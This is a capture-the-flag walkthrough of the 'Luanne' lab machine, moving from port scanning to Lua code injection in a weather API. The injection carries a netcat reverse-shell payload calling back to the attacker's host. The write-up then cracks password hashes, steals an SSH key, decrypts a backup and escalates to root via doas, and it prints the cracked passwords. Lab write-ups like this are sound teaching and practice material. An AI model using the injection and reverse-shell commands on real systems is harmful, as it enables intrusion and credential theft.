Luanne

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports quickly and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.218 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, there are a few ports open.

Let's try to obtain the services and versions of these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80,9001 10.10.10.218 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Let's take a look at the website.

It asks for credentials. If we try some random usernames and passwords, we will get rejected. If you noticed, nmap detected one disallowed entry on the robots.txt file.

But if we take a look at the directory, we will see a 404 message.

At this point, I tried to list directories with gobuster.

gobuster dir -u http://10.10.10.218/weather -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

And we get the /forecast directory. Let's see what's in the directory.

Exploitation

It tells us to add the parameter city with the value list in order to list available cities.

http://10.10.10.218/weather/forecast?city=list

We get a bunch of cities. If we pass any city as the value of the parameter city, we'll see some random weather information.

http://10.10.10.218/weather/forecast?city=London

Let's add the ' character at the end of the value.

http://10.10.10.218/weather/forecast?city=London'

We get a Lua error. The idea is to get a shell by executing a command at a system level. If you do your own research on Lua, you'll see that you can execute commands with the os.execute("command") function.

Before anything, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

In order to execute the command, we'll have to close the function with a parenthesis and a semicolon, and end the URL with -- , which comments out everything after the os.execute function.

curl -G "http://10.10.10.218/weather/forecast" --data-urlencode "city=list');os.execute('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 4444 >/tmp/f')--"

  • -G the data will be appended to the URL with a ? separator.

  • --data-urlencode performs URL encoding.

And we get a shell as the _httpd user.

Privilege Escalation

At first, I listed the current directory, and I found a hidden file with a password hash.

ls -la

cat .htpasswd

Let's break the hash with hashcat. First, put the hash inside a file, and then run the following command on your local machine:

hashcat -m 500 hash /usr/share/wordlists/rockyou.txt

  • -m hash type.

And we get a password. If we authenticate at the login popup of the first website that we saw, we won't see much, but no worries, let's continue enumerating the machine by listing the system users.

cat /etc/passwd | grep sh

At this point, I tried to enumerate the machine a bit more, but I couldn't find anything interesting, until I looked for the processes under the r.michaels user.

ps aux -w -U r.michaels

  • -w wide output.

  • -U select by user.

The r.michaels user has a process which runs the /usr/libexec/httpd command. If you search for that command on Google, you'll find it's man page, which explains that the -u option does the following:

Enables the transformation of Uniform Resource Locators of the form /~user/ into the directory ~user/public_html.

So, as we can see, the process is hosting a website on the localhost on port 3001 with the directory /~r.michaels/, listing his home directory. Let's use curl to see what's in it.

curl http://127.0.0.1:3001/~r.michaels/

We get a 401 Unauthorized message. Time to use our found credentials from before.

curl http://127.0.0.1:3001/~r.michaels/ -u webapi_user

Enter host password for user 'webapi_user':iamthebest

There is an id_rsa file. Let's see it's content.

curl http://127.0.0.1:3001/~r.michaels/id_rsa -u webapi_user

Enter host password for user 'webapi_user':iamthebest

And we get a private key which allow us to login in with the r.michaels via ssh. Now, all we have to do is copy and paste that private key into a file in our own machine, give it the 600 permission, and log in with the r.michaels user via ssh. Then we could grab the user flag.

chmod 600 id_rsa

ssh r.michaels@10.10.10.218 -i id_rsa

If we take a look at the current directory, we'll see the backups folder, which contains an encrypted backup file.

ls -l backups/

To decrypt the backup file, we will have to use the netpgp command. The following command will decrypt the file with a key from the keyring and save the output into a file.

netpgp --decrypt backups/devel_backup-2020-09-16.tar.gz.enc --output=/tmp/devel_backup-2020-09-16.tar.gz

To extract it's content, let's move to the /tmp folder and use tar.

tar xzvf /tmp/devel_backup-2020-09-16.tar.gz

We can see that inside the devel-2020-09-16/www/ directory, there is the same .htpasswd file as before, but with a different hash.

cat devel-2020-09-16/www/.htpasswd

Let's break it with hashcat again.

hashcat -m 500 hash2 /usr/share/wordlists/rockyou.txt

  • -m hash type.

Great, we get a password. It's time to get a shell as root. To log in as root in a Linux machine we would use the sudo command, but as we are in NetBSD, we can't use sudo. But there is an equivalent, which is doas. Finally, all we have to do is spawn a shell as root with the following command, and reap the harvest and take the root flag.

doas -u root sh

Password: littlebear

Last updated

Was this helpful?